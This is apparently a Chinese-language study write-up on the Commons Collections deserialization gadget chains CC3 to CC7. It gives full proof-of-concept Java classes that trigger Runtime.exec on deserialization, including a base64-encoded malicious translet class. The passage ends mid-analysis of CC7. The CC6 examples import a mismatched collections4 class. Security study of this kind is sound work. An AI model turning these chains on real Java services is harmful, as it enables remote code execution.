7
8
9
10
11
12
13
14
15
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.*;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class BCELTest {
public static void main(String[] args) throws Exception{
JavaClass cls = Repository.lookupClass(Hello.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance(); // 调用构造方法且执行静态代码块
}
}

对应的Hello类

1
2
3
4
5
6
7
8
public class Hello {
public Hello(){
System.out.println("hello");
}
static {
System.out.println("world");
}
}

调用Utility.encode将字节码编码为BCEL编码后,还需要添加$$BCEL$$,这样底才能识别为BCEL编码

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

分析

有了前面的基础,我们重点要利用的方法就是TemplatesImpl#newTransformer,但是会发现ysoserial中并没有直接调用该方法,而是通过

1
InstantiateTransformer#transform() -> TrAXFilter#TrAXFilter() -> TemplatesImpl.newTransformer()

具体原因是在ysoserial刚出来时,限制反序列化类的工具SerialKiller在其中明确限制了TemplatesImpl.newTransformer的调用,因此安全研究人员又找到了一条新链来触发。具体看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// InstantiateTransformer#transform()
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs); // 反射调用,可触发任意类的构造方法,且参数可控
}
...
}

// TrAXFilter#TrAXFilter()
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
// templates需要是Templates接口的子类,TemplatesImpl正好符合
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}

POC1 字节码字符串

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
public Evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

于是结合CC1前半部分的poc,在后半部分InvokeTransformer执行命令的部分,可以换成上面所说的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
//import java.util.Base64; java8才支持
import javax.xml.bind.DatatypeConverter; // java6就可
import javax.xml.transform.Templates;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.PredicatedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC3 {

public static Field getField(Class cls, String name) throws Exception{
Field f = cls.getDeclaredField(name);
f.setAccessible(true);
return f;
}
public static void setField(Object obj, String name, Object value) throws Exception{
Field f = getField(obj.getClass(), name);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {

// 注意恶意类需要继承AbstractTranslet
byte[] code = DatatypeConverter.parseBase64Binary("yv66vgAAADMALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAJwwAKAApAQAEY2FsYwwAKgArAQAERXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACgAAAA4AAwAAAAgABAAJAA0ACgALAAAADAABAAAADgAMAA0AAAAOAAAABAABAA8AAQAQABEAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAAA8ACwAAACAAAwAAAAEADAANAAAAAAABABIAEwABAAAAAQAUABUAAgAOAAAABAABABYAAQAQABcAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABQACwAAACoABAAAAAEADAANAAAAAAABABIAEwABAAAAAQAYABkAAgAAAAEAGgAbAAMADgAAAAQAAQAWAAEAHAAAAAIAHQ==");

TemplatesImpl ti = new TemplatesImpl();
setField(ti, "_bytecodes", new byte[][]{code});
// 进入 defineTransletClasses() 方法需要的条件
setField(ti, "_name", "name");

Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realChain = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{ti})
};

Transformer chain = new ChainedTransformer(fakeChain);
Map innermap = new HashMap();
// 触发map
Map outermap = LazyMap.decorate(innermap, chain);

Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
// handler代理,触发invoke
InvocationHandler handler = (InvocationHandler) handler_constructor.newInstance(Retention.class, outermap);

// proxy对象
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},handler);

Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);

AnnotationInvocationHandler_Constructor.setAccessible(true);

// 包在AnnotationInvocationHandler里readObject触发
handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxyMap);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, realChain);

ByteArrayOutputStream br = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(br);
oos.writeObject(handler);
oos.close();
//system.out.println(br);
ObjectInputStream ios = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray()));
Object o = (Object) ios.readObject();
}
}

POC2 利用javassist来构造

POC1使用的是手动获取恶意类的字节码并以base64字符串的形式填充进去,但是有了javassist的知识,我们可以利用代码生成我们的恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
//import java.util.Base64;
import javax.xml.bind.DatatypeConverter;
import javax.xml.transform.Templates;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.PredicatedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC31 {

public static Field getField(Class cls, String name) throws Exception{
Field f = cls.getDeclaredField(name);
f.setAccessible(true);
return f;
}
public static void setField(Object obj, String name, Object value) throws Exception{
Field f = getField(obj.getClass(), name);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 生成Evil类
ClassPool pool = ClassPool.getDefault();
// 最好添加下面这段,指定额外搜索路径,防止报错
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil");
cc.setName("Evil");
String body = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 也可以改成添加静态代码块
CtConstructor cor = new CtConstructor(new CtClass[]{}, cc);
cor.setBody(body);
cc.addConstructor(cor);
// 设置父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] code = cc.toBytecode();

TemplatesImpl ti = new TemplatesImpl();
setField(ti, "_bytecodes", new byte[][]{code});
// 进入 defineTransletClasses() 方法需要的条件
setField(ti, "_name", "name");

Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realChain = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{ti})
};

Transformer chain = new ChainedTransformer(fakeChain);
Map innermap = new HashMap();
// 触发map
Map outermap = LazyMap.decorate(innermap, chain);

Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
// handler代理,触发invoke
InvocationHandler handler = (InvocationHandler) handler_constructor.newInstance(Retention.class, outermap);

// proxy对象
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},handler);

Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);

AnnotationInvocationHandler_Constructor.setAccessible(true);

// 包在AnnotationInvocationHandler里readObject触发
handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxyMap);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, realChain);

ByteArrayOutputStream br = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(br);
oos.writeObject(handler);
oos.close();
//system.out.println(br);
ObjectInputStream ios = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray()));
Object o = (Object) ios.readObject();
}
}

结合CC6的话,可以衍生出8u71后可利用的POC

CC4

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

POC

看到CC2和CC3自然会想到两者前后拼接一下,于是就诞生了CC4,直接给POC吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;


import javax.xml.transform.Templates;

public class CC23 {
public static Field getField(Class cls, String name) throws Exception{
Field f = cls.getDeclaredField(name);
f.setAccessible(true);
return f;
}
public static void setField(Object obj, String name, Object value) throws Exception {
Field f = getField(obj.getClass(), name);
f.set(obj, value);
}

public static void main(String[] args) throws Exception {

// 生成Evil类
ClassPool pool = ClassPool.getDefault();
// 最好添加下面这段,指定额外搜索路径,防止报错
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil");
cc.setName("Evil");
String body = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 也可以改成添加静态代码块
CtConstructor cor = new CtConstructor(new CtClass[]{}, cc);
cor.setBody(body);
cc.addConstructor(cor);
// 设置父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] code = cc.toBytecode();

TemplatesImpl ti = new TemplatesImpl();
setField(ti, "_bytecodes", new byte[][]{code});
// 进入 defineTransletClasses() 方法需要的条件
setField(ti, "_name", "name");

Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realChain = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{ti})
};

Transformer chain = new ChainedTransformer(fakeChain);
TransformingComparator tfc = new TransformingComparator(chain);
PriorityQueue pq = new PriorityQueue(1);
pq.add(1);
pq.add(2);
Field f1 = pq.getClass().getDeclaredField("comparator");
f1.setAccessible(true);
f1.set(pq, tfc);

Field f = chain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, realChain);

ByteArrayOutputStream br = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(br);
oos.writeObject(pq);
oos.close();
System.out.println(br);

ObjectInputStream ios = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray()));
Object o = (Object) ios.readObject();
}
}

CC5

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

分析

我在学习CC链的时候并不是按照1-7的顺序严格来学的,而是参照了P师傅的思路,先1然后6,为了是前后对比弄清高版本的利用问题,然后学了6之后对于CC5的链子,出现了一个新类BadAttributeValueExpException作为Source触发类。先看一下TiedMapEntry

org.apache.commons.collections4.keyvalue.TiedMapEntry#toString

1
2
3
public String toString() {
return getKey() + "=" + getValue();
}

这里调用了getValue方法,那么后面的链子就照抄CC1了

然后跟一下其BadAttributeValueExpException#readObject方法,其中得调用toString方法,且调用对象可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
   private Object val;

public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

很清晰,valObj.toString();调用了,且valObj通过以下获取

1
2
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

所有我们在POC中通过反射来设置BadAttributeValueExpException的val成员变量(private)为TiedMapEntry即可,为啥要反射,因为构造器传进去会调用val.toString,这样TiedMapEntry就失效了。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.PredicatedMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC5 {

public static void main(String[] args) throws Exception {

Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})};

Transformer chain = new ChainedTransformer(fakeChain);
Map innermap = new HashMap();
// 触发map
Map outermap = LazyMap.decorate(innermap, chain);
TiedMapEntry tme = new TiedMapEntry(outermap, "key");
BadAttributeValueExpException bav = new BadAttributeValueExpException(1);
Field f1 = bav.getClass().getDeclaredField("val");
f1.setAccessible(true);
f1.set(bav, tme);

Field f = chain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, realChain);

ByteArrayOutputStream br = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(br);
oos.writeObject(bav);
oos.close();
System.out.println(br);

ObjectInputStream ios = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray()));
Object o = (Object) ios.readObject();
}
}

CC6

利用链

1
2
3
4
5
6
7
8
9
10
11
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

CC6的链的后半部分从LazyMap#get和CC2的链一样,前半部分不同,而且不是使用动态代理类来触发,也就是说其不依赖于在8u71之后被限制的AnnotationInvocationHandler类,而是利用java.util.HashSet这个类来作为Source,因此CC6可以绕过8u71的限制,是一个高版本可用的Gadgets。

分析

接下来分析一下前半部分的链子,后半部分保持不变。

衔接LazyMap的类从受限的AnnotationInvocationHandler换成了TiedMapEntry这个类,该类同样实现了Serializable接口,且在getValue方法中可控调用get方法,然后又找到hashCode调用了getValue方法

1
2
3
4
5
6
7
8
9
public Object getValue() {
return map.get(key);
}

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

之后又找到java.util.HashMap,其链式调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
   public V put(K key, V value) {
if (table == EMPTY_TABLE) {
inflateTable(threshold);
}
if (key == null)
return putForNullKey(value);
int hash = hash(key);
...
}

final int hash(Object k) {
int h = hashSeed;
if (0 != h && k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}

h ^= k.hashCode();
}

此时需要找put方法且第一个参数可控,让其为TiedMapEntry。最后找到了HashSet#readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
...
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
...
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

其中调用了map.put(e, PRESENT);,map在前面三目赋值,可以控制为HashMap,而这里的e需要控制为我们构造的TiedMapEntry,其通过s.readObject()赋值,那么看一下writeObject中是否存在可控

1
2
3
4
5
  private void writeObject(java.io.ObjectOutputStream s)
...
for (E e : map.keySet())
s.writeObject(e);
}

只需控制HashMap的一个key为TiedMapEntry即可。

POC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {

public static void main(String[] args) throws Exception {

Transformer[] realChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})};

Transformer chain = new ChainedTransformer(realChain);
Map innermap = new HashMap();
// 触发map
Map outermap = LazyMap.decorate(innermap, chain);
// TiedMap
TiedMapEntry tme = new TiedMapEntry(outermap, "mykey");
// 创建一个HashSet
HashSet hs = new HashSet(1);
hs.add("diggid");
// 下面三段反射调用来改HashSet的成员变量map的一个key为TiedMapEntry
// 取map,类型为HashMap
Field mapField = Class.forName("java.util.HashSet").getDeclaredField("map");
mapField.setAccessible(true);
HashMap hm = (HashMap) mapField.get(hs);
// 取HashMap的table,类型为Entry数组
Field tableField = Class.forName("java.util.HashMap").getDeclaredField("table");
tableField.setAccessible(true);
Object[] tableArray = (Object[]) tableField.get(hm);
// 取数组的第一个元素,将其key改为TiedMapEntry
Object table = tableArray[0];
Field key = table.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(table, tme);

ByteArrayOutputStream br = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(br);
oos.writeObject(hs);
System.out.println(br);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray()));
ois.readObject();

}
}

简化链

1
2
3
4
5
6
7
8
9
10
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

看过P师傅 Java安全漫谈 - 12.反序列化篇(6) 这篇文章,P师傅简化了链子最前面的部分,不额外调用HashSet#readObject来触发HashMap#put,而是直接利用HashMap#readObject直接调用hash,具体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
  private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
...
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}

而且这里的key直接通过构造方法传入,不需要像前面链子一样通过三段反射来修改,因此这个链子poc写起来更简单舒服一些。

POC2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC62 {

public static void main(String[] args) throws Exception {
Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})};

Transformer chain = new ChainedTransformer(fakeChain);
Map innermap = new HashMap();
// 触发map
Map outermap = LazyMap.decorate(innermap, chain);
// TiedMap
TiedMapEntry tme = new TiedMapEntry(outermap, "mykey");
// 创建一个HashMap
HashMap hm = new HashMap();
hm.put(tme, 123);
// 注意这里,要删去LazyMap的"keyekey"
outermap.remove("mykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, realChain);

ByteArrayOutputStream br = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(br);
oos.writeObject(hm);
oos.close();
System.out.println(br);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray()));
ois.readObject();
ois.close();
}
}

注意POC中的outermap.remove("mykey");,如果删去该段,则POC不会执行。问题出在下面

image-20210531211709571

可以发现,LazpMap的map变量中存在”mykey”,这是从哪冒出来的呢,仔细回看会发现,hm.put(tme, 123);就已经触发了我们Gadgets的链子,而这个POC我们和之前一样先用无害的fakeChain先填充,因此这里并没有弹出计算机。但对于后续的影响就是其在LazpMap的map变量中增加了”mykey”这个key,从而导致无法进入该分支,因此我们要在之后调用outermap.remove("mykey");来删去这个key。

CC7

利用链

1
2
3
4
5
6
7
8
9
10
java.io.ObjectInputStream.readObject()
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

Hash冲突

Hash冲突是指两个不同的 key 通过 hash() 方法计算出同一个 Value

看一下最经典的HashMap#hash,其底层对key调用了hashCode进行计算,计算出来的值还会经过一次处理然后返回最终的hash值

image-20210602175306316

我们这里假设key为String类型,看看hashCode的计算

1
2
3
4
5
6
7
8
9
10
11
12
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;

for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

可以推得hashCode计算公式:

image-20210602175628080

比如:

  • “yy”.hashCode() == 31 × 121 + 1 × 121 == 3872
  • “zZ”.hashCode() == 31 × 122 + 1 × 90 == 3872

因此这两个字符串计算出来的hashCode是相等的,三位长字符串相等的还有”mdi”和”nEi”

分析

逆向分析一下链子,首先这个链子替换了衔接LazyMap#get()的类,至此,我们已经知道有4种方式可以衔接到此处了。

定位到java.util.AbstractMap#equals(),熟悉集合框架的话,该类是大部分Map类型的父抽象类,比如HashMap。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

